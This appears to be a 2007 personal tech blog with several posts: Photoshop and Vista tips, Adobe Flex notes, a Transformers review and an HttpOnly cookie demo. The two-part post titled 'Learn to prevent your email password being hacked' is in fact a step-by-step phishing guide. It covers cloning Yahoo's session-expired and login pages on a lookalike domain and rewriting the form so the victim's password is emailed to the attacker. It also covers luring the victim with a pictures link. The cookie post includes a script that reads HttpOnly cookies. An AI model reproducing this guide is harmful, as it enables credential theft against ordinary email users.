After completing the selection run the command Clear from the Edit menu to delete the silhouette.Press the X key to invert the background color and the main color (supposed that this have the black and white values as default). After that, run the command Inverse from the Select Menu to invert the selection, followed by the Clear command from the Edit menu again to delete the background. At this moment we can cancel the selection (De-select command from the Select menu). The result is shown on the figure 3.
Duplicate the Background layer (right click on Background in the Layers Panel, then choose Duplicate Layer from the menu). This new layer will be named "Effect", which will be duplicated again using the same procedure, and the new layer will be named "Silhouette". This will contain the silhouette of the dancer and will always be on top of all the other layers.

       We must add to this layer a mask in order for just the silhouette to be visible. Select layer "Silhouette" from the Layers panel. Click once inside the white silhouette of the dancer with the Magic Wand Tool instrument. From the Layer menu choose the Add Layer Mask command -> Reveal Selection. The background can then be erased, using the following steps. Select the Background Layer from the Layers panel, then choose the command All from the Select menu, then the Clear command from the Edit menu and Deselect command from the Select menu. You will then have to see what is shown in the figure 4.

       The Background and Silhouette layers will remain unmodified. Between them we will add effects layers. Select the Effect layer and apply one by one the next filters: Filter ->Stylize->Find Edges, then Filter->Stylize->Glowing Edges with the parameters Edge width =9, Edge Brightness=13, Smoothness=6. You will get what you see in figure 5.

       This contour can he colored using the Paint Bucket instrument.
In this case use the yellow color. From the Filter menu choose the Blur command->Radial Blur with the parameters Amount =47, Blur Method =Zoom, Quality = Draft, getting what you see in figure 6.

       For the final step, the Effect layer will be duplicated several times and moved/scaled using the command Edit -> Transform -> Scale. You can also change the color of each copy (using the command Image -> Adjustments -> Color balance) to create a rainbow effect. After copying for 5 times the original, the result should look like in figure 7.

Learn about HTTP-only Cookies

noreply@blogger.com (Costin) — Tue, 14 Aug 2007 02:01:00 +0000

       If you are a webmaster and you run any sort of website that uses cookies for your users to register you will want to read this. Read this and stay tuned for my next posts if you want to learn how to make your website as safe as possible.
       XSS vulnerabilities are often used by the hackers to steal the cookies of the legitimate users. A classic method is by accessing the variable "document.cookies" using some javascripts.
       Starting with Internet Explorer 6 sp1, Microsoft has implemented a method that prevents this kind of attack. This method uses the parameter "HttpOnly" to set a cookie in the headers just like this :

"Set-Cookie: NumeCookie:value; expires=Wednesday, 10-Oct-07 23:12:40 GMT; HttpOnly"

       The key work "HttpOnly" instructs the browser of the user to restrict the access of the cookie (document.cookie) with the client-side scripts.
I will show you a method with a script javascript that can access that hidden cookie by transmitting raw requests to the web page and reading the headers.
The following code is a PHP script that shows the difference between the 2 types of cookies and how can the HttpOnly cookies be read.

       =====================
<?php
// we set a normal cookie that can be found in "document.cookie"
header("Set-Cookie: CookieNormal=valueA; expires=Wednesday, 10-Oct-08 23:12:40 GMT");

// we set a hidden cookie
header("Set-Cookie: CookieHidden=valueB; expires=Wednesday, 10-Oct-08 23:12:40 GMT; HttpOnly");
?>

<script language="Javascript" type="text/javascript">

// function that extracts the hidden cookie from headers
function unHideCookie()
{
var xhr=new XMLHttpRequest(); // creating the object
xhr.open("HEAD",document.location,true); // we set a HEAD request to the same page
xhr.send(null); //transmiting the request
xhr.onreadystatechange=function()
{
if(xhr.readyState==4)
{
if(xhr.status==200) // if we get the correct answer
{
var hidden="";
var headers=xhr.getAllResponseHeaders().split(" "); // we read all the headers and save them on each element of the i variable
for(i=0;i0) // when we find a hidden cookie
{
var cookie=headers[i].substring(headers[i].indexOf(" ")+1,headers[i].indexOf(";")+1); // extracting "name=value;"
hidden=hidden+cookie+" "; // adding the extracted cookie
}
}
//using the saved cookies in the hidden variable
alert("Hidden Cookie: "+hidden);
}
}
}
}

alert("document.cookie: "+document.cookie); // displaying visible cookies
unHideCookie(); // displaying Hidden cookies

</script>

       =====================

       The Http-only method used to hide the cookies from the client-side scripts is used for the moment just by Internet Explorer and Mozilla but it will be implemented on other browsers as well in the near future.

Configuring the system without the annoying warning messages for Windows Vista and changing the size of the symbols on the desktop

noreply@blogger.com (Costin) — Mon, 13 Aug 2007 23:33:00 +0000

       Configuring the system without the annoying warning messages

       After the installation, you want to make some modifications to the system. You are being annoyed by the fact that you get warning messages constantly and every action you make must be confirmed twice. You can temporarily close User Account Control in order to configure the system without the annoying warning messages. Reactivate the control in the same way you will deactivate it, following these steps. There are 2 options to close it: first is to double click on "User Accounts" and then on "Switch on or switch off user account control" in the Control Panel. Confirm the process by clicking on "Next". Then deactivate "Use user account control to contribute to the protection of the computer" and confirm that with "OK". All you need to do afterwards is to reboot your computer, procedure that can be initiated directly from the dialog window. You can also activate and deactivate that function within "msconfig". In order to do that, type "msconfig" in the search field from the start menu and press "Enter". Click on "Tools" tab. Select "Disable user account control" and click "Start". Restart your computer.

Quick Note: User Account Control increases the security of the system and prevents unauthorized installation of different software and any changes in the system. If you shut down this function, not even safe mode from Internet Explorer will not work.

       Changing the size of the fonts on the desktop

       Vista displays very large symbols on the desktop. Users that are used to have a crowded desktop full of icons of programs that they are working with rather enjoys small icons. The size of the icons can be easily changed. In order to do that, click on desktop. Hold down CTRL button and move the wheel of the mouse in any direction. Vista will change the displayed symbols dynamically.

Note: The process works even within Windows Explorer.

       5 applications that will make your Windows XP look like Vista

       For all those who cannot afford to install Vista on their computers or just want to wait or just can't drop on the old friend Windows XP, i have thought to offer you a few applications to "dress up" your XP to look like Vista:

1. Copernic Desktop Search
The search options of Windows Vista are fast and far more complex same as those offered by this application. The categories of files search: e-mails, files, music, images, contacts, Internet Favorites and History will allow you to find anything as fast as possible. Creating and saving of the searches is now very easy to make, and the function "while you type" is also extremely useful. Copernic Desktop Search examines Microsoft Word, Excel, PowerPoint, PDF files and also other kind of files like e-mail messages, video clip files and also image files. It can search specific types of documents or even words included in this documents. The application uses an index of the files from the computer in order to return almost instantaneously results, updating automatically when the system is not busy with other tasks. The last version of this application is installed automatically into the taskbar as a separate toolbar. For any inadequate options you have installed, right click on an empty portion from the taskbar, select Toolbars and choose Copernic Desktop Search.

2. Desktop Sidebar Vista
This application offers a sidebar that provides a calendar, a calculator, a quick link to the media player and also RSS feeds. Desktop Sidebar is built from different components and each of them can be separately configured. It offers similar options that can be improved with a files browser, a weather forecast, a news program and with an e-mail checker. It also integrates controls for Windows Media Player, the QuickLaunch taskbar and many others. You can also configure its layout and its design. It can also be displayed all the time or to be hidden when it is not utilised.

3. Vista Start Menu SE
This application represents an alternative for the standard Windows Start Menu offering a different layout, made to help us access more effectively our applications without having to access more menus. You can open a program or access a document without lifting your fingers from the keyboard. The zooming options helps a lot those who own large screens or just use high resolutions. It also supports navigating in the tabs.

4. Visual Task Tips
Folders, applications, web pages, all this windows from taskbar will now be displayed in thumbnail style when the mouse is positioned above them. This is an easy option and also a lot useful especially for those who use the mouse pretty often.

5. Folder Maker
This program is a batch tool that will allow you to create a large number of folders and files very easily. It has an option to count all this as well as prefix and suffix options that will allow you to personalize the names in order to categorize them more effectively.

Adoble Flex - introduction notes

noreply@blogger.com (Costin) — Wed, 18 Jul 2007 15:02:00 +0000

      In my first post I've spoken about some of the differences between Html and Flash. I am going to spend some time presenting to those of you who have not heard about the Flex product, some of the capabilities of the Flex 2.
      The Flex products line provides with the next generation of Developers Tool to build and deploy RIAs (Rich Internet Applications)on the Flash platform. Flex is an umbrella term for all the technologies of the Flex Product line that help developers to be extremely productive in RI Applications development. Flex allows you to create expressive content with effective interfaces, and deploy applications threw a well distributed, high performance cross-platform, cross-browsers run time environment.
      The Flex product line contains:
      *Adobe Flex Builder 2
      *Adobe Flex SDK
      *Adobe Flex Data Services 2
      *Adobe Flex Charting 2
      Adobe Flex Builder 2 is a completely new integrated development environment also known as an IDE for the Flex Framework 2, which provides coding, debugging and design tools and takes advantage of the industry leading Eclipse Tool Framework. Flex Builder 2 can install as a Standalone product, or add functionality to an existing Eclipse 3.1 installation.

It can also be used alone to develop and deploy Flex applications or can be used in conjunction with Flex Data Services. Flex Builder has a built-in compiler to create swf files from MXML and Action Script code.
      The Adobe Flex SDK provides a skeleton of the application that developers can use to extend the Flex framework which consists of prebuilt components, and these prebuilt components can be extended, or developers can build their own components from scratch.

      A highly comprehensive component framework is included within the SDK to help facilitate this. There is also a rich class library based on Action Script 3 that embodies best practices for building RIAs. The Flex SDK also contains and XML based language called MXML that provides a great way to build and layout applications as well as an the scripting language called Action Scipt 3. A compiler is also included in the Flex SDK creating swf files from your MXML and Action Script 3.

      In order to start a Flex application, the web browser will request a swf file, which is then downloaded to the client. The developers able to compile a swf file by laying out their application in the MXML language and using Action Script 3 for any logic. Action Script 3 is a class-based language that is as close to Java as you can get without actually being Java. Once the compiled swf is downloaded to the client, the swf itself can then request additional resources from the server using either Http, Soap or an Adoble protocol known as The Action Messaging Format(AMF).
      The Adobe Flex Data Services 2 add enterprise messaging support and greatly enhanced data services architecture the Flex SDK. Data services also gives you the ability to share data among multiple clients and offer support for client to client data communication. You can also push data out of the Flex Client using Data Services which gives you the ability to create sophisticated applications that displays real-time data such as sports or stock data. Flex messaging allows whole new categories of applications like data push and collaborations based applications to be delivered to the browsers in a reliable and scalable way.
      The foundation of the Rich Internet Application is the Flash Player or the Flash Virtual Machine. Flash Player 9 has been for Flex and is the backbone of the Flash platform. Of course Flash player 9 is fully backwards compatible with all of the other versions of Flash player as well. Flash Player 9 supports Action Script 3 which is a completed object pointed scripting programming language. It is a new optimized Action Script Virtual machine(AVM2) uset to execute the new Action Script new code which is significantly faster than the earlier versions. It has full run time error reporting, unlike earlier versions that were failing. There is industry standard debugging that contain stronger compile-time checking and mini new elements have been added including E4X which treats XML as a native data type, regular expressions and a brand new event model based on W3CDom events standard.
      My conclusion is that if you consider moving on and leaving HTML behind, it worth's a lot looking at this program, especially if you want to develop a rich Internet application like an e-commerce website or a website that highly interacts with the users. It has great features included and i will detail some of them on my next posts. If you also like to you can visit the Adobe website for more details.

Transformers: the Movie -review-

noreply@blogger.com (Costin) — Mon, 16 Jul 2007 03:30:00 +0000

      I didn't have much interest in seeing Transformers, but watching the trailers, I've immediately realised it will have all sort of special effects. Some of my friends said they will skip this movie, so i conformed to it, and watched the movie all by myself at a late hour so no ray of light would penetrate my windows to reflect on my computer screen, and only because i wanted to enjoy the special effect of this movie.
The huge visual effects movie Transformers racked up the biggest July 4th single-day gross in box office history, $26 million, beating the $22 million of Spider-Man 2 in 2004. By the end of the week Transformers stood at a whopping $153 million.

      Some of the most important actors in any giant robots film are, of course, the giant robots. The alien robots hide in plain sight by transforming themselves into ordinary-looking machines. The conversion process, from cars and planes to biped robots, is mesmerizing and convincing. Director Michael Bay kept throwing the robots back to ILM demanding they look more real. He wanted the robots absolutely photo-realistic. The robots look amazing, whether flying through the air, burrowing through the sand, or running down the highway. While the robots had to be created digitally, Bay prefers using real tanks and airplanes over faking it using blue screen visual effects. The military gear is expensive and there’s lots of it, lots more than Apocalypse Now. It’s the biggest military coordination with a motion picture ever.

      From what i have read about this movie, it took approximately 38 hours for the animators Industrial Light & Magic to render one frame of the CGI animation to portray the Transformers. This breaks the record set by Weta Workshop for The Lord of the Rings: The Two Towers (2002), where it took 20 hours to animate a frame of CGI to portray the Ent Treebeard.
This definitely means something, but i am really curious if it was harder to render then the scenes with the Sandman from the Spider Man 3. I know for sure that it's is extremely hard to simulate sand on an animation. For example, the people working at Spider Man 3, they had a team working for 2 years on understanding the sand particles principles and emulate those on computer. Can't beat that !
      Even though it was supposedly written by Transformers fans, the script was lacking. Since the focus is on the humans, Optimus Prime & co. are little more than scenery; nice-looking eye candy of scenery, but scenery nonetheless. And few films have such shameless product placement as Transformers does; at least 30 minutes of the film could be removed and used as a car commercial. Most characters are poorly developed or poorly written to begin with, especially the Transformers themselves. Their dialogue is hopelessly cheesy; and not good action-movie cheesy, these lines are cringe-worthy.

      A friend asked me what my favorite part of the movie was and I said "Megan Fox." Few actresses today, of any age, have the looks that she does at nineteen. She was the cast's highlight, even among all of the big names like Jon Voight and John Turturro, because few of the actors, as talented as they are elsewhere, here just don't seem to want to put out the effort needed: we have the robots, right? Why act? The same mentality doomed the Star Wars prequels.

      Overall, I'd say this was one to miss. Nearly everyone involved has something better available on the table, and Transformers fans will always have the original cartoon and comic book series.

      The Tools

      Transformers uses six Meridian Avids on Unity with about 2 terabytes of storage. A Nitris is used for all screenings including their preview. There are three main edit rooms, a fourth system in a closet, the assistants have two systems, and director Michael Bay has one. There’s a Media Net hook-up used for daily transmissions between ILM and Bay.

“For 3d modeling ILM used mostly Maya, 3ds Max, Zeno and zBrush,” says Farrar. “For lighting and rendering we use Zeno with RenderMan and Mental Ray. For compositing it's all Shake along with our Sabre systems, and editing uses Avids.”

      The Visual Effects

      There are about 630 visual effects shots in the film. There are 430 executed at ILM, 91 at Digital Domain, 70 at the Asylum and the rest are 2D clean up and fixes done by CO3, ISolve and Ken Blackwell. Technical advancements were made in environments, lighting, and simulation of physical effects and integration of CG characters in a real environment.

      “ILM did the bulk of the 3-D robots,” notes Scantlebury. “Incredible work, given the pressure of turning in shots up to the last minute…hold on…we just ordered two more 3-D shots three weeks before final delivery. Digital Domain picked up the rest, including turning a soft-drink machine into a crazed aluminum
can shooting Robot.”
      “Overall, the most challenging shot is OH020 which is a 360 degree descending camera move on Optimus that rotating around to reveal all four Autobots transforming in an alley”, says ILM visual effects supervisor Scott Farrar. “The shot was filmed in two separate camera moves from two separate rigs: a Russian arm mounted to a camera car and a 50-foot Technocrane. The plates were combined and blended. The 768-frame-long shot moves from an overhead medium close up on Optimus finishing his transformation, into an extreme close up of all the moving parts, then widening out to reveal our hero talent. Shia and Megan watch all four robots individually transform with their own unique style.”

      Challenges in 5.1 Music Editing

      Quicktimes for the sound and music department were output via a firewire connection from a DVCAM deck into Final Cut Pro. “At a certain point we were called upon to screen the movie repeatedly and without notice, with a 5.1 soundtrack,” says Rubell. “We had a 5.1 temp but were making complicated picture changes around the clock. There was no time to get back to the stage to update the tracks. So I conceived of a way to make changes and screen 5.1 out of the Avid. We mixed down the 24-track stems into their respective left, center, right, surround, and low-frequency families. We then group-clipped the individual stems with their mixdowns. We edited with the mixdowns, and when it came time to screen, we expanded back to 5.1 by switching the grouped mixdowns back to their component stems. We then mixed the stems down into a 5.1 configuration and exported that to the Nitris. It worked flawlessly, except that after a few weeks of endless group-clip switching my crew threatened to kill me. I was forced to shelve the system until Avid comes up with a way to globally switch, from mark-in to mark-out, the clips on a given audio track.”

Creating a new boot screen for Vista and adding the missing "Run" command in the start menu

noreply@blogger.com (Costin) — Sun, 15 Jul 2007 22:16:00 +0000

Creating a new boot screen for Vista

      Vista is a very attractive operating system with its new Aero interface. When it boots, the screen remains black except one tiny loading bar. The Boot Logo Generator is a small tool ( only 595 kilobytes) that can offer you a colorful boot.
The program generates a Bootscreen file from a graphic file in just a few steps.
Requirements: the graphic file has to be a bitmap file on 24 bytes with a 800 x 600 or 1024 x 768 resolution. You can download this little tool from http://www.computa.co.uk/staff/dan/?p=15. After the installation is finished, this program starts automatically. With "Browse for image..." you can load your bitmap files. Then save using "File/Save Boot Screen File As..." and copy both graphic files into the folder "C:\Windows\System32\en_US". In order for Vista to display the start image even when it boots, adjust the system settings: type "msconfig.exe" in the search field from the start menu and press Enter. Choose "OK" at the warning message from Vista and the program will start. In the "Start" tab, check the option "No GUI-Start".

Adding the missing "Run" command in the start menu

      You got used to quick access some specific commands using the "RUN" command from the start menu. In Vista, this option does not exist. What's there left to do ?

      In Vista, the search function substitutes the "Run" command. But you can reactivate this command using a small trick. In order to accomplish this, right click on the taskbar and choose the contextual command "Settings". Activate the "start menu" tab and click on "Customize". Now, search for option "Run Dialog" in the list and check it. Confirm the open dialogues with "OK".
And here is the rest of it.

Learn to prevent your email password being hacked (part 2)

noreply@blogger.com (Costin) — Sun, 15 Jul 2007 01:49:00 +0000

      We need to modify the code of the 2 pages from the first part of this post. For the first page I'd recommend you delete all of the scripts. Here is the code without the scripts in it. Now we need to change the bottom left link that says Re-login to Yahoo! Mail. For that look in your source code and locate the line :

<a href="http://mail.yahoo.com/?.done=http%3a%2f%2fus.f396.mail.yahoo.com%2fym%2flogin" target=_top>Re-login to Yahoo! Mail</a>

      All you need to do is switch the address to the URL of your second page. For that you will need to think ahead and establish what will it be on your website. So the above line should look something like that:

<a href="http://login_page.yourdomain.com" target=_top>Re-login to Yahoo! Mail</a>

      That's all there is to do about the first page so let's move on to the second page (login page) where there is much to cover.
Locate the line:

<p class="yreglgsb"><input type="submit" name=".save" value="Sign In"></p>
This is the code for the Sign In button. We need to change this to redirect the person i want his/her email password cracked to my pictures page. It should look like this:

<p class="yreglgsb"><input type="button" name=".save" value="Sign In" onclick="window.location.href='url'" </p>
where the url has to be the one from your pictures page.

Locate the line:

<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">.
This line marks what will happen to whatever the user inputs in the two fields on the right screen (if you look at the page in a web browser), the Yahoo! ID and the password fields. For now, when someone enters something in those two fields and click on the Sign In button, it tells yahoo to search database and authenticate them. We need to change that so that it will send to our email whatever the user inputs there. We have 2 possibilities to do that. First would be to use a website that offers free email forms and second choice would be to get help from a php file that will trigger sending the email to your email address.

      In the first case, if you want to use a website that offer free email forms, i would recommend that you will take a look on the www.bravenet.com website, for it is a great website with many resources that will help you understand better html and also offers free website hosting. There is a little disadvantage in using this method. If you apply for a free membership whenever you will use their service it will first take you to a confirmation page, which is annoying and will ruin every one's plan on finding someone else email password using the method I'm presenting. I have searched for more then 2 hours on the Internet a website that will host free email forms without demanding something in exchange (like links, banners etc). But if you consider updating your account with them, you will be able to use their service without having to place a link to your website right under the form, or a banner or something else that would ruin everything. If you are not that concerned about that, i will continue on detailing what exactly needs to be done using bravenet.com service. I have registered for a free account and i applied for an email form (contact form), and then i went for the "get the html code" for it. Now, if you take a look at the first 3 lines from the generated code

<form method="post" enctype="multipart/form-data" action="http://pub19.bravenet.com/emailfwd/senddata.php">
<input type="hidden" name="usernum" value="xxxxxxxxxx">
<input type="hidden" name="cpv" value="2">
xxxxxxxxxx has to be your id when you registered with bravenet. its a 10 digits number and you will have your own when you register.

you will see the first line looks a little bit like the code line we talked about earlier, the one that submits the yahoo Id and the password to yahoo for authentication. So if you go back to the source code of the second page (the login page) and once more locate the line

<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">

you will see they have the <form> tag in common. You need to replace this line with the 3 lines generated by bravenet for the email form and you are good to go. This is a reminder: after you load the new login page in a web browser and you will input the yahoo id and the password, right after you click the Sign In button, it will redirect you on bravenet website for a page that will ask you to confirm the data that will be send to your email. This email service from bravenet is very nice, and will also provide you some other information like the ip of the computer, which is a great to know where did the person you wanted his/her email revealed to you has fallen into the trap (if i may say so). So that confirmation page will pretty much ruin every one's plan and the person that will input their id and password will be redirected to that page, and they will find it very fishy. So, once again if you want the best of it, you might consider upgrading your account and then you will have the option of not being redirected to that annoying page. In case none of them works out for you, you can try get help from php to have the same process done, but this requires you to verify that your web host allows php. I will talk about including your php files on your website and test them on your local machine in my next post.

      Now, to summarize it all, you should have a website that contains:
main page= session_expires page with the re-login to Yahoo! Mail link changed to your second page
second page = login page with the Sign In button that will direct you to the pictures page
third page = pictures page
They all should have different URL's.

      All there is left to do would be the compose an email that will have the link to the main page attached. When someone will want to see your new pictures it will first access the main page ( the one with the session expires), that person will think it was somehow disconnected from yahoo and will try to login again using the Re-login to Yahoo! Mail link. The person will be directed to the login page, will enter the yahoo id and password and when he/she will click on the Sign In button an email with the inputted id and password will be send to your email address and in the same time it will load the pictures page.

      This is a method that can be countered very easily. And all the people out there reading my blog should know how to do this. The whole post brings me to this part where i will tell people that anyone can have his/her email password jacked with a simple method like the one i presented. You never know when someone will want to do this, and it's best to be aware of this kind of methods so you will know how to keep your email safe and your privacy safer.
      Yahoo should never take you on that session expired page unless you have been inactive for more then 24 hours, or if your cookies are not enabled on your computer, or if you access multiple yahoo accounts at the same time.
      Most people do not check out always the link bar located on the upper part of your browser.Here is an example. The eye is fixed on the contents of the web page and we often do not look up there to see the links. Emails are not always safe so you should definitely always check out the links whenever you open an email that has a link attached to it. I know that when you receive an email from a person you know and has a link attached to it, you tend to trust that person and open the link without doubts, but you may never know for sure what is behind it.
In case your session from yahoo somehow expires this is the link you should see on your browser after you click on the re-login to Yahoo! Mail link. I have talked mostly about yahoo emails, but this applies to all the email hosts out there.

            So stay on guard, and keep your emails just for yourself !

Link to the 1st part of this post

Learn to prevent your email password being hacked (part 1)

noreply@blogger.com (Costin) — Fri, 13 Jul 2007 21:10:00 +0000

      If i were to get a dime for every time i have been asked if it possible to crack an email account, i would be richer then Bill Gates, i would buy Bill Gates himself, his family and all of his programmers team working on the famous Windows operating system.(evil laugh) Anyway i would like to spend some time creating this post so everyone who will read it will know how to counter his/her email being hacked. We all have at least one email address somewhere out there on the Internet. And since people like to chat using the different chat applications offered to us, we gotta have 1 email account with them in order to access the chat (Yahoo, Msn, Aol, ICQ etc.). Me, personally, i have been mostly asked about how can i find the password of a specific yahoo account, so i will concentrate this post on informing you how exactly that could be possible, in order to be informed on how you can prevent it. Let's start from the beginning and i will tell you a little bit about how it all started. I was younger of course, and one day i really wanted (as most people do) to crack the yahoo account of a person that was close to me. -Being young implies being curios and sometimes stupid- . I have searched all Internet for some clues or ideas on how to do that. I have found nothing at all, so i started thinking on myself. I was well aware of the "lost password" section on yahoo, about the secret question, about inputting the right data (birthday, zip code, country), but this method is all about knowing the person in details, and even that it is not enough since that person could have input something different from the truth, meaning it could have been selected for example another country then the true country, since there is no problem with doing that when you create a new yahoo account.So its all about guessing. Of course, for me the guessing didn't work, so i decided i need something else. I spend a few weeks to elaborate a method, which worked just fine for me and i will explain it a little later on.
      I will take a little time to help those who want to crack someone's email password from having their emails cracked while trying desperately to find that damn password they are so willing to do anything to find. There are some files or information that are spread all over the Internet that are "intended" to help you crack an email password. In fact someone out there is doing to you what you wanna do to someone else.

      It might look familiar in case you have seen something like that:

HOW TO HACK AN EMAIL ACCOUNT !!!!
    Step 1: login to your yahoo account(or any other email hosting) compose a new email which you will send to : idpsw_bot123@yahoo.com
    Step 2: here is what you write in the message: at the subject: "usrpsw" + username of the person you want to find the email password,then ,in quotes you have to type your username! (all this goes to subject, very important!)]
    Step 3: in the body of the message : " id;psw;id_forgot;psw_forgot;usr:name1 ! my_pswis:password;my_usr:name2;yahoobotservice " where name1 has to be name of the user you want to find the email password, instead of password you have to type the password from your account(IT HAS TO BE REAL FOR AUTHENTICATION), instead of name2 it has to be your username(also real for authentication)
    Step 4:Now you wait around 4-5 minutes and you will get an email with the desired password

      THIS IS NOT RIGHT! you will never get any emails back, and if you look closely the address it is send to is nothing like what yahoo should have. Even if it would be, it would never require to type your own password and username. This is a fake which will send your username and password to someone that will probably use your email account for spamming, or will ever sell your email address to advertisers for money.
      I doubt this is the only fake on the Internet so watch out for anything that requires to input your password. No method to crack an email password will ever require you to input your own password.

           Here is my solution
      The method i am going to present is quite simple and it requires a minimum amount of html knowledge and it is based on the people's naivety. If you read between the lines till now, start paying attention, because you will know what to do if you face a problem like that and you will be able to prevent ANYONE (even closest person to you) from finding your email password. I will present this method with an example so you should be able to follow me easily. Let's say i want to find the password from example@yahoo.com.

    Step 1: I know for sure that the person i want he's/she's email cracked is registered on a specific website, or i know for sure that he/she has movies as one hobby or if that person knows me, i could go even further and take advantage of that. I will compose an email in which i will tell that person to check out my new pictures which i will carefully place them NOT on an archive attachment, but on a website which i will have to create on my own, where i will post my pictures and so the email will have instead of an attachment, a link to my website. That leads us to:

    Step 2: We need to find a provider that can host our website where i will want to put my pictures. I wont go much further into details at this step for there are plenty of websites that offer free web hosting. The bad part is that most of the websites that offer free hosting for our sites will always place their pop-ups for advertisement as long as you apply for the free package. The good part is that most people use some sort of pop-up blocker. Feel free to search websites that offer free hosting, and try as best as possible to avoid registering with domain names that will expose your true identity (Ex. yourname@yourdomainname.com). You might want to try different combinations that include the word yahoo in it, anything that would look like yahoo as possible. (some ex. yahoo_bot123, yahoo_checker123) After you will be done registering for one domain, you will have to create the website. It will have to consist of 2 parts, the main page and another page that will have the pictures posted on.
    At this point i assume you will know how to create a website page that will contain a number of pictures. If not you might wanna consider downloading a free trial of Macromedia Dreamweaver. You will find it on the Adobe website at the section Downloads/Trial downloads. You have to get an account to download it but that wont be much of a problem. This tool allows you to create a website page without knowing much html coding. You have the option to enter the design mode and you just have to drag/drop pictures, so it will be very easy. The main page needs some extra work though and it will consist of creating two web pages that looks as most similar as the expiring session and the login into email page from yahoo.

    Step 3: You need to duplicate 2 web pages that yahoo provides you whenever your session expires. First page will be a page that shows you that your session has expired mainly because two reasons.
  1.For your security, your Yahoo! Mail session expires a maximum of twenty-four hours after you have logged in. If you have chosen in your Yahoo! User Information (found be visiting "My Account" next to the Yahoo! Mail logo at the top of this page) to be prompted for a password more frequently than every day, your session will expire after the specified amount of time.
  2.If you do not accept the cookies set on login or your computer is not configured to accept cookies, your session will expire almost immediately. We use cookies (small pieces of site information) to assist us in user authentication and in saving configuration information. Cookies are required for Yahoo! Mail.

      Here you can see a picture of the web page that appears when your session expires. And here you can find the html source code for that specific page. If you copy/paste the code into your own website, it shouldn't work right away but if you take a closer look at the source code and at the very beginning of the code you delete the
<META HTTP-EQUIV=Refresh CONTENT="0; URL=/ym/login?nojs=1"> line and you will run the code on your website again, you will see the exact page as it is displayed in the picture. This page has an important role because it will make the person you want his/her email password to be revealed to you, actually believe that his/her yahoo session has expired and he/she needs to re-login again in order to access the email you will be sending with the link to your pictures website. After that you need to create in a similar way the content for the second page of the main part, which will have to look similar with the login page from yahoo. Here is a picture of that page, and here is the html source code for it.

Link to the second part of this post

7 months of existing for Windows Vista

noreply@blogger.com (Costin) — Fri, 13 Jul 2007 10:00:00 +0000

An operating system that got too many unfair critics

      It's been almost seven months since Microsoft launched the official Windows Vista. Seven months of existing of an operating system which we have been waiting for six years. Seven months are more then enough for a normal user to adapt to it, and to an IT professional to understand and observe the mechanics of an operating system. All this time, Vista received enormous amounts of critics from people more or less in position to do that. From all the critics addressed to Windows Vista that i have read during the time since it has been launched and on the period it was on tests, i do not exaggerate if i say that only about 10% of those were having a solid ground.

Bad critics

      Not a long time ago there has been published a study that shows that Vista is no better then XP when talking about security. Hundreds of websites and blogs have published it right away rushing into throwing bad critics at Vista. No one has ever considered that those who conducted the study skipped a serious number of elementary aspects of testing the security of an operating system and the test itself could have been better made by a kid. Lets take another example. A well known IT magazine publisher from the United States complained that the new Vista's hibernation system doesn't work as it should be and his laptop is not cooperating with it. Of course it is not cooperating with it as long as the check box for enabling the hibernation option is not checked for the network card, mouse or keyboard.Doh !!!

      The most hilarious critics about Vista that i read belong to the people that really have no idea what they are talking about. Most of the people i got in contact with since 7 months ago and that were criticising Vista didn't even used the operating system at all. They have read on the Internet reviews about Vista like the one i told you about, and rushed into judging Vista as being a bad operating system without having at least the curiosity of testing it first.

Games and drivers

      These are the weak points of Windows Vista at the moment: the fact that many old games don't work and that not all the components have drivers right now. But why can we blame Microsoft for that? I mean, the beta versions of Vista have being launched a year before the official release. In all this time the producers didn't have time to develop the drivers? It's obviously their fault. If Vista doesn't come with the drivers, then it will not be sold properly, and if Vista is not being bought then the hardware developers will not get the profits that they hope they will get. Besides that, the gaming problem existed six years ago for Windows XP too and will come again when a new operating system will be launched.

New vs. narrow minded

      The fundamental problem of Windows Vista is not the security issues, nor UAC ( User Access Control ), and nor the drivers. The problem is we are narrow minded about whats new, since we all accommodated with what we have used in the last years, and it is hard to adapt again. We got used to the applets organisation from the Control Panel that Windows XP offered us, with the My Computer term, with the Start button located on lower left part of the screen and in Vista it is "hard" to remark the search function, the Shadow Copy facility and the possibility to adjust volume separated for each Vista application. We are happy with what we know and what we are used to and we don't welcome something new, even if it's better. This is where Microsoft failed, delaying for 6 years the Windows Vista. Going back in time things were more favorable for XP since it wasn't so much time between its launching and the previous version of Windows. Maybe it would be better if Microsoft would come back to the strategy of launching a new operating system every year.
      Because what is new is easily digested in small doses...

Flash or HTML: Which to Choose

noreply@blogger.com (Costin) — Thu, 12 Jul 2007 21:38:00 +0000

      I am going to start with a short comparison between programming in HTML and Flash. I am sure that every websites developer asked himself at least once what would be best to choose in order to develop one certain website or more. Even in the early stages of learning websites programming, anyone can tell that there is a huge visual difference between those two. While HTML websites are static(excluding some javascripts commands to have a certain object move), Flash websites are all into animations, dynamic contents and a lot of interactivity with the users. The method that is chosen depends purely on the type of website being created and the goals of the website owner.
      Since every web browser in the world is designed to interpret HTML code and display web pages, building a site using strictly HTML ensures every web surfer will be able to view the site. Flash, on the other hand, requires users to have the Flash Player, which is a browser plug-in, installed on their computer in order to properly display the website. In addition, as Flash matures there are different versions of the Flash Player out there, further diminishing the chances that every visitor will be able to view the website.
      On the other hand, Flash offers some capabilities that simply cannot be matched using pure HTML code, such as animation, dynamic content generation and user interactivity. Much of this capability stems from the Actionscript, which is the scripting language used in the Flash environment. Actionscript allows for developers to create complex animations, incorporate streaming video and provide unparalleled interactivity. In recent years, Flash has also proven to be a leading method for providing streaming video content on the web, and continues to be the choice for developers who want to present complex and stunning visual presentation.
      Search-engine optimization is an important consideration if the website will rely on search engines to generate traffic. When looking at how a search engine will index a website, HTML offers the best choice. The reason is that search-engine spiders are designed to interpret and understand HTML code. In recent years, some search engines have made progress at indexing Flash content as well, although that can be deceiving for a couple of reasons. The first reason is that search engine spiders do not have the ability to run Actionscript code, which means that any dynamic content or Actionscript generated links, will not be indexed. The second reason relates to the way that search engines index and rank content.
Generally they would prefer to see content packaged in discrete, relevant units like the pages in an HTML website are. With a Flash site, all of the content appears to be in one file, causing content dilution in the search engines.
      As a personal opinion, i stoped using strictly HTML for creating a website. I am a fan of "good looking" and highly interactive sites, so when i have a chance to develop a website, i am more into programming with actionscript. There is a way that you can have both of them on the website, so this way your site will look more dynamic and also take advantage of the search-engine spiders (meaning you can still make full use of the html tags). The solution comes by implementing flash contents into your HTML website which can be done very easy. Here is an example of the source code that will have to be implemented in your HTML files.

